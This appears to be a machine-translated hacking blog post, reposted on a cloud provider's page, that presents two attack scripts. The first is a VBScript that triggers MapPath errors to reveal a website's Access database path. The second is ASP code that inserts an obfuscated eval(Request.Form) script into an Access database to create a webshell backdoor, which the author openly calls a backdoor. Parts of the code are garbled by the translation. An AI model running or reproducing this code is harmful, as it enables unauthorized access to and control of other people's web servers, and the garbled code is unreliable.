N years ago Two scripts%5c Bauku _vbs

Source: Internet
Author: User
Tags chr
Dim Xstatus,tstatus,vserver,vheader,vrsbody
Geterror=inputbox ("Please enter the website, for example: http://www.hackerxfiles.com/files/list.asp?id=415", "Please enter the url", "http:// www.hackerxfiles.com/files/list.asp?id=415 ")
If geterror = "" Then
MsgBox ("Input error, program end!") ")
Wscript.Quit
End If

Geterror=strreverse (GetError)
Tem2=0
For I=1 to Len (GetError)
If Mid (geterror,i,1) = CHR ($) and tem2=0 Then
Temp=temp & "c5%"
Tem2=tem2+1
Else
Temp=temp & Mid (geterror,i,1)
End If
Next
Geterror=strreverse (Temp)


Call Xmlpost (GetError)
ErrorText = vSERVER & "" & Xstatus
Basesaver = Getstr (vrsbody, "File not Found", "'. </font> "& Chr (10))
If basesaver= "[None]" Then
Basesaver = Getstr (Vrsbody, "<font face=" &AMP;CHR () & "Arial" &AMP;CHR (s) & "Size=2>" "," ' is not a valid path. ")
End If
If basesaver= "[None]" Then
Basesaver = Getstr (Vrsbody, "Open registry Key", "". </font> ")
End If

If basesaver = "[None]" Then
allreturn= "<title>mappath error get database address Lilo</title><body scroll= ' no ' bgcolor= ' menu ' style= ' border:0pt; Margin-left:5pt ' ><B> ' & ErrorText & ' </b><br><br><textarea rows= ' name= ' S1 ' cols= ' > ' &vRsBody& ' </textarea> '
Else
allreturn= "<title>mappath error get database address Lilo</title><body scroll= ' no ' bgcolor= ' menu ' style= ' border:0pt; Margin-left:5pt ' ><B> ' & ErrorText & ' </b><br><br><textarea rows= ' name= ' S1 ' cols= ' > ' &BaseSaver& ' </textarea> '
End If

Call Openwin (Allreturn)
Set Whshell = WScript.CreateObject ("Wscript.Shell")
Whshell.appactivate "MapPath error get database address Lilo"
' Whshell.sendkeys ("%{tab}")
Set Whshell = Nothing

Function urlencoding (Vstrin)
Strreturn = ""
For i = 1 to Len (Vstrin)
THISCHR = Mid (vstrin,i,1)
If Abs (ASC (THISCHR)) < &hff Then
Strreturn = Strreturn & THISCHR
Else
Innercode = ASC (THISCHR)
If Innercode < 0 Then
Innercode = Innercode + &h10000
End If
Hight8 = (Innercode and &hff00) \ &hff
Low8 = Innercode and &hff
Strreturn = strreturn & "%" & Hex (HIGHT8) & "%" & Hex (LOW8)
End If
Next
urlencoding = Strreturn
End Function

Function Bytes2bstr (vIn)
Strreturn = ""
For i = 1 to LenB (vIn)
Thischarcode = AscB (MidB (vin,i,1))
If Thischarcode < &h80 Then
Strreturn = Strreturn & Chr (Thischarcode)
Else
Nextcharcode = AscB (MidB (vin,i+1,1))
Strreturn = Strreturn & Chr (CLng (thischarcode) * &h100 + CInt (nextcharcode))
i = i + 1
End If
Next
Bytes2bstr = Strreturn
End Function

Function Xmlpost (Iurl)
On Error Resume Next
Ipost=urlencoding (Ipost)
Set Xpost = CreateObject ("Microsoft.XMLHTTP")
Xpost.open "POST", Iurl,false
Xpost.send
Xstatus = Xpost.status
Tstatus = Xpost.statustext
vSERVER = Xpost.getresponseheader ("Server")
Vheader = Xpost.getallresponseheaders
Vrsbody = Bytes2bstr (xpost.responsebody)
Set Xpost = Nothing
End Function

Function Getstr (vstring,istring,dstring)
Vsum = InStr (vrsbody,istring)
If vsum = 0 Then getstr= "[None]": Exit Function
Esum = InStr (vsum,vrsbody,dstring)
If esum = 0 Then getstr= "[None]": Exit Function
Getstr = Mid (Vrsbody,vsum+len (istring), Esum-vsum-len (istring))
End Function

Function IntToStr (Vnum,vlen)
If Len (vnum) >= vlen Then inttostr = Vnum:exit Function
For I=1 to Vlen-len (vnum)
Inttostr=inttostr & "0"
Next
IntToStr = inttostr & CStr (Vnum)
End Function

Function Getsplit (Unstr,vastr,mode)
Atemp = Split (UNSTR,VASTR)
Btemp = Ubound (atemp)
Select Case Mode
Case-1: Getsplit = atemp
Case-2: Getsplit = btemp
End Select
If Mode < 0 Then Exit Function
If Mode > Btemp Then getsplit=false:exit Function
If mode >= 0 Then getsplit = atemp (mode)
End Function

Function Openwin (VTTV)
Set IE = WScript.CreateObject ("Internetexplorer.application")
Ie. Navigate "About:blank"
Ie. Visible = 1
Ie. ToolBar = 0
Ie. StatusBar = 0
Ie. width=500
Ie. height=335
Do while (IE. BUSY): Loop
Set Doc = IE. Document
Doc.open
Execute "Doc.writeln" & Chr (+) & Vttv & Chr (34)
Doc.close
Set ie=nothing
End Function

Another is that I wrote, inserting ASP code into Access as a back door, which should have been my first, but I don't know if anyone else had found it earlier. Later, the spread of the Internet directly to the database inserted a word to get webshell. imperceptible time Flies, 4 years have passed, people old, can only nostalgia?

<%

Db= "0123.asp" is changed to your database address
Set Conn=server.createobject ("Adodb.connection")
Connstr= "Provider=Microsoft.Jet.OLEDB.4.0;Data source=" &server.mappath (db)
Conn.Open ConnStr
' Add Notdownload Table
Conn.execute ("CREATE Table Notdownload (Notdown oleobject)")
' Write <% data
Set Rs=server.createobject ("Adodb.recordset")
Sql= "SELECT * from Notdownload"
Rs.Open sql,conn,1,3
Rs.addnew
    rs ("Notdown"). AppendChunk (ChrB (ASC ("<") &NBSP;&AMP;&NBSP;CHRB (ASC ("S"))  & &NBSP;CHRB (ASC ("C")) &AMP;&NBSP;CHRB (ASC ("R")) &NBSP;&AMP;&NBSP;CHRB (ASC ("I")) &AMP;&NBSP;CHRB (ASC ("P")) & &NBSP;CHRB (ASC ("T")) &AMP;&NBSP;CHRB (ASC (" ")) &AMP;&NBSP;CHRB (ASC ("R")) &AMP;&NBSP;CHRB (ASC ("U")) & &NBSP;CHRB (ASC ("n")) &AMP;&NBSP;CHRB (ASC ("a")) &AMP;&NBSP;CHRB (ASC ("T")) &AMP;&NBSP;CHRB (ASC ("=")) &AMP;&NBSP;CHRB (ASC ("S")) &AMP;&NBSP;CHRB (ASC ("E")) &AMP;&NBSP;CHRB (ASC ("R")) &AMP;&NBSP;CHRB (ASC ("V")) &AMP;&NBSP;CHRB (ASC ("E")) &AMP;&NBSP;CHRB (ASC ("R")) &AMP;&NBSP;CHRB (ASC (" ")) &AMP;&NBSP;CHRB (ASC ("L")) &AMP;&NBSP;CHRB (ASC ("a")) & &NBSP;CHRB (ASC ("n")) &AMP;&NBSP;CHRB (ASC ("G")) &AMP;&NBSP;CHRB (ASC ("U")) &AMP;&NBSP;CHRB (ASC ("a")) &AMP;&NBSP;CHRB (ASC ("G")) &AMP;&NBSP;CHRB (ASC ("E")) &AMP;&NBSP;CHRB (ASC ("=")) &AMP;&NBSP;CHRB (ASC ("J")) &AMP;&NBSP;CHRB (ASC ("a")) &AMP;&NBSP;CHRB (ASC ("V")) &AMP;&NBSP;CHRB (ASC ("a")) &AMP;&NBSP;CHRB (ASC ("S")) &AMP;&NBSP;CHRB (ASC ("C")) & &NBSP;CHRB (ASC ("R")) &&NBSP;CHRB (ASC ("I")) &AMP;&NBSP;CHRB (ASC ("P")) &AMP;&NBSP;CHRB (ASC ("T")) &AMP;&NBSP;CHRB (ASC (">")) &  ChrB (ASC ("E")) &AMP;&NBSP;CHRB (ASC ("V")) &AMP;&NBSP;CHRB (ASC ("a")) &AMP;&NBSP;CHRB (ASC ("L")) &AMP;&NBSP;CHRB (ASC (")" (")) &AMP;&NBSP;CHRB (ASC ("R")) &AMP;&NBSP;CHRB (ASC ("E")) &AMP;&NBSP;CHRB (ASC ("Q")) &AMP;&NBSP;CHRB (ASC ("U")) & &NBSP;CHRB (ASC ("E")) &AMP;&NBSP;CHRB (ASC ("S")) &AMP;&NBSP;CHRB (ASC ("T")) &AMP;&NBSP;CHRB (ASC (".")) &AMP;&NBSP;CHRB (ASC ("F")) &AMP;&NBSP;CHRB (ASC ("O")) &AMP;&NBSP;CHRB (ASC ("R")) &AMP;&NBSP;CHRB (ASC ("M")) & &NBSP;CHRB (ASC ()) &AMP;&NBSP;CHRB (ASC ("")) &AMP;&NBSP;CHRB (ASC ("#")) &AMP;&NBSP;CHRB (ASC ("")) &AMP;&NBSP;CHRB (ASC (")")) &AMP;&NBSP;CHRB (ASC ("+")) &AMP;&NBSP;CHRB (ASC ("")) &AMP;&NBSP;CHRB (ASC ("")) &AMP;&NBSP;CHRB (ASC (")")) & &NBSP;CHRB (ASC ("<")) &AMP;&NBSP;CHRB (ASC ("/")) &AMP;&NBSP;CHRB (ASC ("S")) &AMP;&NBSP;CHRB (ASC ("C")) &  ChrB (ASC ("R")) &AMP;&NBSP;CHRB (ASC ("I")) &AMP;&NBSP;CHRB (ASC ("P")) &AMP;&NBSP;CHRB (ASC ("T")) &AMP;&NBSP;CHRB (ASC (" > "))
Rs.update
Rs.close
Set rs=nothing
' Close the connection
Conn.close
Set conn=nothing
%>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.